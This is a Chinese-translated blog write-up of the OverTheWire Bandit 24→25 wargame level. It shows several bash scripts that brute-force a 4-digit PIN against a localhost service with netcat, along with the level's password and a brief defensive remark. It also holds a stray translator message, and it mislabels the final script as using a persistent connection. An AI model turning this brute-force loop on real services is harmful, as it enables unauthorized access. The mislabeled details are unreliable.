解决 bandit level:24-25(剧透)
Source: Dev.to
(请提供您希望翻译的具体文本内容,我将为您翻译成简体中文。)
Source:
事后报告 – Bandit 24 → 25
耗时: 3–4 小时
难度: 7 / 10 – 逻辑很直接,但我在正确的语法上纠结了很久。
1️⃣ 追踪(进攻与策略) – 50 %
我知道需要一个 循环,但不确定该如何终止它。
关键是寻找服务返回的 信号,它会告诉我们何时找到了正确的 PIN。
- 我先尝试用错误的密码手动连接。
- 服务器对错误的 PIN 总是返回相同的 “Wrong” 信息,于是我可以把它当作哨兵。
有了这个观察,我就能专注于循环逻辑和命令的语法。
脚本
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
PASS="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# First (intentionally wrong) attempt – just to initialise $output
output="$(printf "%s 0000\n" "$PASS" | nc -q 0 "$HOST" "$PORT")"
# Iterate over every 4‑digit PIN (0000 … 9999)
seq -f "%04g" 0 9999 | while read -r pin; do
# If the server stopped saying “Wrong”, we have the right PIN
if [[ "$output" != *"Wrong"* ]]; then
echo "The server response is: $output"
exit 0
else
i=$((i + 1)) # iteration counter
output="$(printf "%s %s\n" "$PASS" "$pin" | nc -q 0 "$HOST" "$PORT")"
# Print progress every 100 attempts
if (( i % 100 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
fi
done
2️⃣ 架构思考 – 30 %
PIN 生成
起初我把整个序列 (seq -f "%04g" 0 9999) 存在一个变量中,这导致变量里包含了所有可能的 PIN,结果每次尝试都错误。
解决办法是把序列通过管道输送到 while read 循环中,一次只取一个 PIN 放入 pin 变量。
3️⃣ 防御性思考 – 20 %
如果我要防御这个服务,可以在横幅和 PIN 提示之间加入一点延迟。
因为脚本假设连接后可以立即发送密码,延迟会导致在完整横幅收到之前,所有尝试都被判定为 “Wrong”,从而减慢暴力破解客户端的速度。
要点: 时间因素可以成为有用的侧信道泄漏。
杂项笔记与实验
-
Connecting from Bash
nc localhost 30002 -
Prompting the user (not needed for the final script)
read -rp "Press Enter to continue..." -
Capturing the server’s response
output="$(printf "%s %s\n" "$PASS" "$pin" | timeout 2 nc "$HOST" "$PORT")" -
Generating the 4‑digit PIN list (fastest I found)
seq -f "%04g" 0 9999 -
First (failed) attempt – why it didn’t work
Pin="$(seq -f "%04g" 0 9999)" # **Reference:** see the file `test.sh` for a complete example.
第一个完整脚本
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# Generate the PINs and test each one
seq -f "%04g" 0 9999 | while read -r pin; do
output="$(printf "$Passwd $pin\n" | timeout 2 nc "$HOST" "$PORT")"
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1)) # count attempts
# Print every 5th attempt
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
该脚本可以工作,但由于对每个 PIN 都会打开一个新的 TCP 连接(nc + timeout),所以耗时极长。
调试连接开销
调试脚本 #1 – 限制范围 (0‑9)
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"
seq -f "%04g" 0 9 | while read -r pin; do
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1))
output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
调试脚本 #2 – 检查 nc 退出状态
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"
seq -f "%04g" 0 9 | while read -r pin; do
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1))
output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
rc=$?
echo "rc=$rc"
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
这些代码片段确认,重复的连接建立(nc + timeout)是主要的性能瓶颈。
最终工作版本(无 timeout,持久连接)
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# First try a known wrong PIN to initialise $output
output="$(printf "$Passwd 0000\n" | nc -q 0 "$HOST" "$PORT")"
seq -f "%04g" 0 9999 | while read -r pin; do
if [[ "$output" != *"Wrong"* ]]; then
echo "The server response is: $output"
exit 0
else
i=$((i+1))
output="$(printf "$Passwd $pin\n" | nc -q 0 "$HOST" "$PORT")"
# Print every 100th attempt (adjust as you like)
if (( i % 100 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
fi
done
nc -q 0告诉 netcat 在收到 EOF 后立即关闭连接,避免额外的超时延迟。- 脚本现在运行得更快,同时仍会每 100 次尝试打印一次进度。
个人备注
我在编码时喜欢大量添加注释,因为一旦移开视线,我的大脑就会忘记流程。额外的注释看起来可能有点乱,但对我来说是救命稻草! 😄
希望你玩得开心,并觉得这个脚本有用。祝 hacking 愉快!